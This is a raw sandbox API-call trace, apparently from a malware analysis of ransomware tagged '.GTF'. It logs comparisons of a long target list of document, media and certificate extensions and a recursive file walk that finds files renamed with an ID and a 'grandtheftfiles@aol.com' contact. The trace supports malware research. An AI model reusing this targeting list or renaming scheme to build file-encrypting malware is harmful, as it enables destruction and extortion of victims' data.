	[0067.943] lstrlenW (lpString=".mft") returned 4
	[0067.943] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mfw") returned 4
	[0067.943] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mht") returned 4
	[0067.943] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mhtml") returned 6
	[0067.943] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0067.943] lstrlenW (lpString=".mka") returned 4
	[0067.943] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mkidx") returned 6
	[0067.943] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0067.943] lstrlenW (lpString=".mkv") returned 4
	[0067.943] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mos") returned 4
	[0067.943] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mov") returned 4
	[0067.943] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mp3") returned 4
	[0067.943] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mp4") returned 4
	[0067.943] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0067.943] lstrlenW (lpString=".mpeg") returned 5
	[0067.943] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0067.943] lstrlenW (lpString=".mpg") returned 4
	[0067.943] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".mpv") returned 4
	[0067.944] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".mrw") returned 4
	[0067.944] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".msg") returned 4
	[0067.944] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".mxl") returned 4
	[0067.944] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".myd") returned 4
	[0067.944] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".myi") returned 4
	[0067.944] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".nef") returned 4
	[0067.944] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".nrw") returned 4
	[0067.944] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".obj") returned 4
	[0067.944] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".odb") returned 4
	[0067.944] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".odc") returned 4
	[0067.944] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".odm") returned 4
	[0067.944] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".odp") returned 4
	[0067.944] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".ods") returned 4
	[0067.944] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".oft") returned 4
	[0067.944] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".one") returned 4
	[0067.944] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0067.944] lstrlenW (lpString=".onepkg") returned 7
	[0067.944] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0067.944] lstrlenW (lpString=".onetoc2") returned 8
	[0067.944] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0067.944] lstrlenW (lpString=".opt") returned 4
	[0067.945] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".oqy") returned 4
	[0067.945] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".orf") returned 4
	[0067.945] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".p12") returned 4
	[0067.945] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".p7b") returned 4
	[0067.945] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".p7c") returned 4
	[0067.945] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pam") returned 4
	[0067.945] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pbm") returned 4
	[0067.945] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pct") returned 4
	[0067.945] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pcx") returned 4
	[0067.945] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pdd") returned 4
	[0067.945] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pdf") returned 4
	[0067.945] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pdp") returned 4
	[0067.945] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pef") returned 4
	[0067.945] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pem") returned 4
	[0067.945] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pff") returned 4
	[0067.945] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pfm") returned 4
	[0067.945] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pfx") returned 4
	[0067.945] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".pgm") returned 4
	[0067.945] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0067.945] lstrlenW (lpString=".php") returned 4
	[0067.946] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".php3") returned 5
	[0067.946] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".php4") returned 5
	[0067.946] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".php5") returned 5
	[0067.946] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".phtml") returned 6
	[0067.946] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0067.946] lstrlenW (lpString=".pict") returned 5
	[0067.946] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".pl") returned 3
	[0067.946] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0067.946] lstrlenW (lpString=".pls") returned 4
	[0067.946] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".pm") returned 3
	[0067.946] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0067.946] lstrlenW (lpString=".png") returned 4
	[0067.946] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".pnm") returned 4
	[0067.946] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".pot") returned 4
	[0067.946] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".potm") returned 5
	[0067.946] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".potx") returned 5
	[0067.946] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".ppa") returned 4
	[0067.946] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".ppam") returned 5
	[0067.946] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0067.946] lstrlenW (lpString=".ppm") returned 4
	[0067.946] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".pps") returned 4
	[0067.946] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0067.946] lstrlenW (lpString=".ppsm") returned 5
	[0067.946] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0067.947] lstrlenW (lpString=".ppt") returned 4
	[0067.947] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".pptm") returned 5
	[0067.947] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0067.947] lstrlenW (lpString=".pptx") returned 5
	[0067.947] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0067.947] lstrlenW (lpString=".prn") returned 4
	[0067.947] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".ps") returned 3
	[0067.947] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0067.947] lstrlenW (lpString=".psb") returned 4
	[0067.947] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".psd") returned 4
	[0067.947] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".pst") returned 4
	[0067.947] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".ptx") returned 4
	[0067.947] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".pub") returned 4
	[0067.947] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".pwm") returned 4
	[0067.947] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".pxr") returned 4
	[0067.947] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".py") returned 3
	[0067.947] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0067.947] lstrlenW (lpString=".qt") returned 3
	[0067.947] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0067.947] lstrlenW (lpString=".r3d") returned 4
	[0067.947] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".raf") returned 4
	[0067.947] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0067.947] lstrlenW (lpString=".rar") returned 4
	[0067.947] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0067.947] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.948] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.948] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.948] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0067.948] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.948] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0067.948] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.948] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0067.948] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.948] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.948] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.949] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0067.949] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0067.949] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0067.949] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1fef6a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f2e402b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f2253b3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f2253b3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.949] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.950] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0067.950] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0067.950] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0067.950] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0067.950] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f30a005, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f35679d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f330376, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f330376, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f37c8a6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0067.950] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0067.950] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0067.950] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0067.951] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
